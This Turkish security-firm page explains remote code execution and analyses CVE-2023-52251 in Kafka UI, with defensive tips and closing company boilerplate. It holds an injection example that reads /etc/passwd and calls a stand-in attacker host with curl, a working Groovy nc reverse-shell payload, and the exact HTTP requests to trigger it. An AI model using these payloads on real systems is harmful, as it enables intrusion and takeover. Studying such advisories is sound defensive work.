Yüksek Risk

Kafka UI RCE

CVE-2023-52251

Remote Code Execution (RCE) Nedir?

Remote Code Execution (RCE), bir sistemde uzaktan kod çalıştırılmasına olanak tanıyan ciddi bir güvenlik açığıdır. Bu zafiyet, genellikle uygulamaların kullanıcıdan alınan girdileri yeterince kontrol etmemesi ya da doğrulamaması sonucunda ortaya çıkar. RCE zafiyetleri, siber sızıntıların gerçekleşmesi, zararlı yazılımların yüklenmesi veya sistemin tamamen ele geçirilmesi gibi ciddi sonuçlara yol açabilir.

Örnek: Basit RCE Saldırısı

Bir uygulamanın kullanıcıdan gelen bir komutu şu şekilde bir sistem kabuğu (örneğin, bash veya cmd) üzerinde çalıştırdığını varsayalım:


Burada, user_input değeri doğrulanmadığı için bir saldırgan şu girdiyi sağlayabilir:

Bu durumda komut, şu şekilde işlenir:

Sonuç olarak, rm -rf / komutunun etkisiyle sistem tamamen silinebilir.

RCE Zafiyetlerinin Türleri

RCE zafiyetleri farklı yöntemlerle sömürülebilir. En yaygın yöntemler şunlardır:

  1. Komut Enjeksiyonu: Kullanıcı girdileri, doğrulanmadan veya temizlenmeden sistem komutlarının bir parçası haline getirilir.

  2. Kod Enjeksiyonu: Dinamik olarak çalışan kod bloklarına zararlı girdi eklenir.

  3. Bellek Yolsuzluğu: Sistem belleği üzerinde yetkisiz değişiklikler yapılarak kod yürütme sağlanır.

Komut Enjeksiyonu Örneği

Bir web uygulamasının kullanıcıdan gelen bir dosya adını şu şekilde bir komut kabuğu üzerinde çalıştırdığını varsayalım:


Bir saldırgan, file_name parametresine şu girdiyi sağlayabilir:

/etc/passwd; curl <http://attackerserver/malware.sh>

Bu durumda, komut şu şekilde işletilecektir:

cat /etc/passwd; curl <http://attackerserver/malware.sh>

Sonuç olarak, saldırgan önce sistemin hassas bilgilerini ele geçirebilir, sonra da zararlı bir yazılımı indirip çalıştırabilir.

RCE Zafiyetlerinden Korunma Yöntemleri

  1. Girdi Doğrulama ve Temizleme: Kullanıcıdan gelen tüm veriler doğrulanmalı ve zararlı girdiler temizlenmelidir.

  2. Parametrik Sorgular Kullanın: Sistem komutlarının doğrudan çalıştırılmasından kaçınılmalı ve parametrik yöntemlerle işlem yapılmalıdır.

  3. Kod Analizi: Yazılım geliştirme sürecinde statik ve dinamik analiz yöntemleri kullanılarak zafiyetler tespit edilmelidir.

  4. En Az Yetki Prensibi: Kullanılan servisler, mümkün olan en az yetki ile çalıştırılmalıdır.

Sonuç

Remote Code Execution zafiyetleri, etkili bir savunma stratejisi olmadığı durumlarda sistemleri ciddi risk altına sokabilir. Yazılım geliştiricilerin ve sistem yöneticilerinin bu zafiyetlere karşı bilinçli olması, düzenli testler ve güvenlik analizleri ile desteklenmelidir. Bu önlemler, hem uygulamaların hem de verilerin daha güvenli olmasını sağlar.

CVE-2023-52251: RCE via Groovy script execution

Kafka UI uygulamasında mesaj filtreleme işlevi, sunucu tarafında mesajları filtrelemek için basit bir sorgunun kullanılmasına olanak tanır. Yapılan incelemelerde, Kafka'nın içsel olarak GROOVY_SCRIPT türünü desteklediği ve bu filtreleri bir Groovy betiği olarak değerlendirdiği görülmüştür. Bu durum, uygun önlemler alınmamışsa, keyfi kod çalıştırılmasına olanak tanıyabilecek bir güvenlik riski oluşturmaktadır.

Test etmek için, kullanıcı arayüzünde bir kümeye gidin, bir konuyu seçin ve 'Mesajlar' sekmesine tıklayın. Sonrasında, aşağıdaki içerikle yeni bir filtre oluşturun:

new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()

Aşağıdaki Groovy betiği, belirtilen adrese bir ters kabuk (reverse shell) bağlantısı başlatır. Kullanıcı arayüzü (UI) üzerinden bu işlemi gerçekleştirdiğimizde, tarayıcı sunucuya şu HTTP isteğini gönderir:”

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1 Host: 127.0.0.1:8091

Bu isteği, Burp Suite Repeater gibi bir HTTP istemcisini kullanarak yeniden gönderebilir ve işleyişini test edebilirsiniz.

Varsayılan Kafka Docker imajında Netcat yüklüdür. Ancak, Netcat'in çalışmadığı durumlarda, aşağıda verilen gibi daha karmaşık bir ters kabuk oluşturan Groovy betiğini de kullanabilirsiniz:

Bu istismarın başarılı olabilmesi için, bağlı Kafka kümesinin (örnekte 'yerel') içinde en az bir etkin konuya ve bu konularda iletilere sahip olması gerektiğini unutmayın. Aksi takdirde, bir saldırgan bu iletileri oluşturmak için Kafka UI'nin API'sini kullanabilir:

`POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json`

`{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}`

`POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json`

`{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}

RCE (Remote Code Execution) basit bir GET HTTP isteğinden tetiklenebilir. Bu nedenle, bir kimlik avı bağlantısı göndererek ve bunu yönetici tarayıcısında açarak, CSRF (Cross-Site Request Forgery) tarzı bir saldırı ile de istismar edilebilir.

Similar CVE Analyses

See the impact of our cybersecurity solutions on businesses through real projects. Each case study details our tailored approaches to our clients' needs and the comprehensive solutions we provide against threats. Discover the success and value of our security strategies.

WHAT HAVE WE ACHIEVED?

WHAT HAVE WE ACHIEVED?

WHAT HAVE WE ACHIEVED?

We ensure your safety with numbers.

We ensure your safety with numbers.

We ensure your safety with numbers.

With years of experience, our expert team, and our success rate, we protect your business against cyber threats.

With years of experience, our expert team, and our success rate, we protect your business against cyber threats.

With years of experience, our expert team, and our success rate, we protect your business against cyber threats.

15+ Years

Experience

10+

Cyber Security Specialist

100%

Success Rate

400+

Successful Operation

FREQUENTLY ASKED QUESTIONS

FREQUENTLY ASKED QUESTIONS

FREQUENTLY ASKED QUESTIONS

Let's answer the questions in your mind.

You can find the answers to frequently asked questions below.

What should I work on for cybersecurity?

How to choose a career in cybersecurity?

Which certifications are important in cybersecurity?

Which programming languages should I learn in cybersecurity?

What is the difference between Red Team and Blue Team in cybersecurity?

What should I work on for cybersecurity?

How to choose a career in cybersecurity?

Which certifications are important in cybersecurity?

Which programming languages should I learn in cybersecurity?

What is the difference between Red Team and Blue Team in cybersecurity?

What should I work on for cybersecurity?

How to choose a career in cybersecurity?

Which certifications are important in cybersecurity?

Which programming languages should I learn in cybersecurity?

What is the difference between Red Team and Blue Team in cybersecurity?

defendzero

DefendZero has provided comprehensive services in the field of cybersecurity across many different sectors for years. By ensuring the security of institutions in finance, health, education, and many other sectors, we have protected them against potential threats.

© 2024 defendzero. "Over the rules , leading security."

defendzero

DefendZero has provided comprehensive services in the field of cybersecurity across many different sectors for years. By ensuring the security of institutions in finance, health, education, and many other sectors, we have protected them against potential threats.

© 2024 defendzero. "Over the rules , leading security."

defendzero

DefendZero has provided comprehensive services in the field of cybersecurity across many different sectors for years. By ensuring the security of institutions in finance, health, education, and many other sectors, we have protected them against potential threats.

© 2024 defendzero. "Over the rules , leading security."